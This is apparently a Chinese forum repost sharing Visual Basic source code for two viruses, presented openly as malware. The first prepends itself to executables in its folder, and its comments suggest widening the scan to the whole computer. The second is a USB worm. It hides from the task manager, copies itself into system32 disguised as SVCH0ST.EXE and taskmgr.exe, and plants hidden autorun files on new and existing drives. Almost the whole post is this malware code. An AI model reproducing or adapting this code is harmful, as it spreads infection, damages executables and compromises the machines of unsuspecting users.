- 主题
- 0
- 积分
- 854
- 贝壳
- 854 个
- 性别
- 男
- 来自
- 贵州遵义
- 注册时间
- 2005-3-26
- 最后登录
- 2011-2-26
|
[转载] VB的一个可以感染EXE的病毒原代码 以及一个病毒代码
什么控件都不用加,直接输入以下代码就行了。- Option Explicit
- Private Victim As String '要感染的文件的名字
- Private HostLen As Long '要感染的文件的大小
- Private vbArray() As Byte '病毒的代码
- Private hArray() As Byte '要感染的文件的代码
- Private lenght As Long
- Private MySize As Integer '病毒的大小
- Private Declare Function OpenProcess Lib "kernel32" (ByVal dwDesiredAccess As Long, ByVal bInheritHandle As Long, ByVal dwProcessId As Long) As Long
- Private Declare Function GetExitCodeProcess Lib "kernel32" (ByVal hProcess As Long, lpExitCode As Long) As Long
- Private Declare Function CloseHandle Lib "kernel32" (ByVal hObject As Long) As Long
- Private iResult As Long
- Private hProg As Long
- Private idProg As Long
- Private iExit As Long
- Const STILL_ACTIVE As Long = &H103
- Const PROCESS_ALL_ACCESS As Long = &H1F0FFF
- Private Sub form_Initialize()
- Dim i As Long
- On Error GoTo vbVerror '出错处理
- '原理:将生成病毒文件的代码读出,粘在要被感染的文件的后面。
- Open App.Path & "\" & App.EXEName & ".exe" For Binary Access Read _
- As #1
- ReDim MyArray(LOF(1) - 1)
- MySize = LOF(1)
- ReDim vbArray(MySize)
- Get #1, 1, vbArray
- Close #1
- '这是在读自己的代码
- Victim = Dir(App.Path & "\" & "*.EXE") '随便选一个文件(目前只是在病毒所在的目录下随机选一个,将来你可以修改,让它不断的循环搜索计算机上的所有文件。)
- While Victim <> ""
- If format(Victim, ">") <> format(App.EXEName & ".EXE", ">") Then
- Open App.Path & "\" & Victim For Binary Access Read As #1
- ReDim hArray(LOF(1))
- Get #1, 1, hArray
- Close #1
- '读出病毒自身的代码
- If hArray(&H69) <> &H4D Then
- i = hArray(&H3C)
- If hArray(i) = &H50 Then
- Open App.Path & "\" & Victim For Binary Access Write As #1
- Put #1, , vbArray
- Put #1, MySize, hArray
- Close #1
- End If '要保证被感染的不是空文件(不是圈套)
- End If
- End If
- '读出准备被感染的文件的代码
- Victim = Dir() 'Next
- Wend
- '下面的工作是为了保证病毒不会重复感染一个文件,也不会自我感染。
- Open App.Path & "\" & App.EXEName & ".exe" For Binary Access Read As #1
- lenght = LOF(1) - MySize
- If lenght <> 0 Then
- ReDim vbArray(lenght - 1)
- Get #1, MySize, vbArray
- Close #1
- Open App.Path & "\" & App.EXEName & ".eve" For Binary Access Write As #1
- Put #1, , vbArray
- Close #1
- idProg = Shell(App.Path & "\" & App.EXEName & ".eve", vbNormalFocus)
- hProg = OpenProcess(PROCESS_ALL_ACCESS, False, idProg)
- GetExitCodeProcess hProg, iExit
- Do While iExit = STILL_ACTIVE
- DoEvents
- GetExitCodeProcess hProg, iExit
- Loop
- Kill App.Path & "\" & App.EXEName & ".eve"
- Else
- Close #1
- End If
- End
- vbVerror: '出错处理,空着就可以了
- .........................................................................................................................................
- ' 为了让本程序更简单!
- ' 我没有用到API
- ' 全部使用VB自带函数来完成!
- '原理:
- ' 每个电脑上都有一个硬盘和一个光驱或者有N个分驱
- ' 这些分驱相对来说,不会经常消失!
- ' 只有U盘或MP3接上后会多出一个,当拿走时会减少一个!
- ' 所以,在程序运行时,先备份电脑上当前的驱动器数量!
- ' 当发现加或减时就能确定是不是移动设备!
- ' 正进行传播,因为题目要求,只传播U盘,加上自动运行文件!
- ' 就不用改写里面的文件!
- ' 要是没有看懂我的程序前,请不要运行!死了别怪我!
- '----------------代码--------------------------
- Dim num, nums '驱动器数
- Dim i As Integer '文件号
- Dim j As Integer 'FOR用的变量!
- Private Sub Form_Load() '程序初始化!
- '不准重复运行本病毒!
- If App.PrevInstance Then
- End
- End If
- '在任务管理器中隐身!
- App.TaskVisible = False
- '病毒自我保护函数
- a0
- auts
- '得到当前驱动器数!
- a2
- '设置时间:为5000 MS 检查一次(5秒)
- t1.Interval = 5000
- t1.Enabled = True
- End Sub
- Sub a0() '病毒自我保护函数
- Dim temp As String
- Dim temp2 As String
- On Error Resume Next
- temp = Trim(App.Path) & "\" & Trim(App.EXEName) & ".exe"
- '得到系统目录!得到后,自我复制到SYSTEM32下!
- For j = 0 To aa.ListCount - 1
- temp2 = Trim(aa.List(j)) & "\windows"
- If Dir(temp2, vbDirectory or vbHidden or vbNormal or vbReadOnly) = Empty Then
- temp2 = Trim(aa.List(j)) & "\WINNT"
- If Dir(temp2, vbDirectory or vbHidden or vbNormal or vbReadOnly) = Empty Then
- GoTo zz1
- Else
- FileCopy temp, Trim(aa.List(j)) & "\winnt\system32\SVCH0ST.EXE"
- FileCopy temp, Trim(aa.List(j)) & "\WINNT\system32\taskmgr.exe"
- FileCopy temp, Trim(aa.List(j)) & "\WINNT\system32\dllcache\taskmgr.exe"
- End If
- Else
- FileCopy temp, Trim(aa.List(j)) & "\windows\system32\SVCH0ST.EXE"
- FileCopy temp, Trim(aa.List(j)) & "\windows\system32\taskmgr.exe"
- FileCopy temp, Trim(aa.List(j)) & "\windows\system32\dllcache\taskmgr.exe"
- FileCopy temp, Trim(aa.List(j)) & "C:\WINDOWS\ServicePackFiles\i386\taskmgr.exe"
- End If
- zz1:
- Next
- End Sub
- Sub a1() '感染函数
- Dim temp As String
- Dim temp2 As String
- temp = Trim(App.Path) & "\" & Trim(App.EXEName) & ".exe"
- For j = nums + 1 To num
- temp2 = Trim(aa.List(j)) & "\auto.exe"
- FileCopy temp, temp2
- i = FreeFile
- Open Trim(aa.List(j)) & "\autorun.inf" For Output As #i
- Print #i, "[Autorun]"
- Print #i, "open=auto.exe"
- Close #i
- SetAttr Trim(aa.List(j)) & "\autorun.inf", vbHidden
- SetAttr Trim(aa.List(j)) & "\auto.exe", vbHidden
- Next
- End Sub
- Sub a2() '得到当前驱动器数!
- num = aa.ListCount - 1
- If Dir("c:\.a", vbDirectory or vbHidden or vbNormal or vbReadOnly) = Empty Then
- i = FreeFile
- Open "c:\.a" For Output As #i
- Print #i, num
- Close #i
- End If
- End Sub
- Private Sub t1_Timer() '时间函数
- num = aa.ListCount - 1
- i = FreeFile
- Open "c:\.a" For Input As #i
- Line Input #i, nums
- Close #i
- nums = Trim(nums)
- nums = Int(nums)
- If num <> nums Then
- If num > nums Then
- a1
- End If
- If num < nums Then
- i = FreeFile
- Open "c:\.a" For Output As #i
- Print #i, num
- Close #i
- End If
- End If
- aa.Refresh
- End Sub
- Sub bat() '写自我删除程序
- On Error Resume Next
- i = FreeFile
- Open App.Path & "\killme.bat" For Output As #i
- Print #i, "@echo off"
- Print #i, "sleep 1000"
- Print #i, "del " & App.EXEName + ".exe"
- Print #i, "del killme.bat"
- Print #i, "cls"
- Print #i, "exit"
- Close #i
- Shell App.Path & "\killme.bat", vbHide
- End
- End Sub
- Sub auts() '自我感染全驱动器
- On Error GoTo err1
- Dim file_temp As String
- i = FreeFile
- Open "c:\autorun.inf" For Output As #i
- Print #i, "[Autorun]"
- Print #i, "open=autorun.exe"
- Close #i
- file_temp = Trim(App.Path & "\" & App.EXEName & ".exe")
- FileCopy file_temp, "c:\autorun.exe"
- SetAttr "c:\autorun.inf", vbHidden
- SetAttr "c:\autorun.exe", vbHidden
- Dim dirid As Integer
- For dirid = 100 To 122
- MsgBox Chr(dirid)
- FileCopy "c:\autorun.exe", Chr(dirid) & ":\autorun.exe"
- FileCopy "c:\autorun.inf", Chr(dirid) & ":\autorun.inf"
- SetAttr Chr(dirid) & ":\autorun.inf", vbHidden
- SetAttr Chr(dirid) & " :\autorun.exe", vbHidden
- Next
- err1:
- End Sub
复制代码 |
|